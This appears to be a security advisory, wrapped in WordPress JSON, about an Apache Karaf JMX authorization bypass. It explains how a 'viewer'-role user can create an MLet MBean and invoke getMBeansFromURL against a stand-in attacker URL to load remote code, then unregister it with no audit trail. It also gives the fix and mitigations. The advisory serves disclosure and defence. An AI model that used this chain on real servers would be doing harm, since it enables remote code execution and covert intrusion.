Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry\/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00a0MBeanInvocationHandler#guarded:<\/p>\n
\u00a0 private final List guarded = Collections.unmodifiableList( Arrays.asList(“invoke”, “getAttribute”, “getAttributes”, “setAttribute”, “setAttributes”));<\/p>\n
The MBean lifecycle operations\u00a0MBeanServer#createMBean,\u00a0#registerMBean\u00a0and\u00a0#unregisterMBean\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\u00a0MBeanServer\u00a0with no role check at all, regardless of the roles configured in\u00a0etc\/jmx.acl.*.cfg.<\/p>\n
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged “viewer” role, can call\u00a0createMBean()\u00a0to instantiate an arbitrary class as a MBean, and\u00a0unregisterMBean()\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00a0KarafMBeanServerGuard\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).<\/p>\n
This is significant because\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00a0MLet\u00a0acts as a remote classloader: its\u00a0getMBeansFromURL(URL)\u00a0operation fetches an\u00a0MLet\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00a0KarafMBeanServerGuard’s existing “invoke” check, but the default\u00a0etc\/jmx.acl.cfg\u00a0grants the “viewer” role to any method name matching the wildcard rule “get* = viewer”, a heuristic intended for read-only getters. Because “getMBeansFromURL” happens to start with “get”, it also matches that rule, so a default installation grants “viewer” callers permission to invoke it without any Karaf-specific ACL naming\u00a0MLet\u00a0at all. Combined with the createMBean gap, this gives a “viewer”-role JMX client a path to remote code execution to the Karaf JVM:<\/p>\n
* Authenticate to JMX as any user with any role (e.g. “viewer”).
\n * mbs.createMBean(“javax.management.loading.MLet”, objectName)\u00a0is not in\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
\n * mbs.invoke(objectName, “getMBeansFromURL”, new Object[]{“http:\/\/attacker\/mlet.txt”}, …)\u00a0is guarded, but the method name matches the default “get* = viewer” ACL rule, so permitted.
\n * The remote\u00a0.mlet\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
\n * mbs.unregisterMBean(objectName)\u00a0can be used to remove the MLet afterwards, also not in\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.<\/p>\n
The fix adds\u00a0createMBean,\u00a0registerMBean\u00a0and\u00a0unregisterMBean\u00a0to the guarded operation list, resolves required roles for them from the\u00a0jmx.acl*\u00a0configuration by\u00a0ObjectName\u00a0and (for\u00a0createMBean\/registerMBean) MBean class name, and ships default\u00a0etc\/jmx.acl.cfg\u00a0entries restricting all three operations to the “admin” role. This allows deployments to also write class-name-specific rule, e.g.:<\/p>\n
createMBean(java.lang.String)[\/javax.management.loading..*\/] = admin<\/p>\n
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry\/server ports (1099\/44444) to trusted hosts, or avoid issuing any non-“admin” JMX credentiels.<\/p>\n","protected":false},"excerpt":{"rendered":"
Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry\/server,<\/p>\n","protected":false},"template":"","meta":[],"categories":[],"tags":[],"class_list":["post-30430","vuln","type-vuln","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln\/30430","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln"}],"about":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/types\/vuln"}],"wp:attachment":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30430"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30430"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30430"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}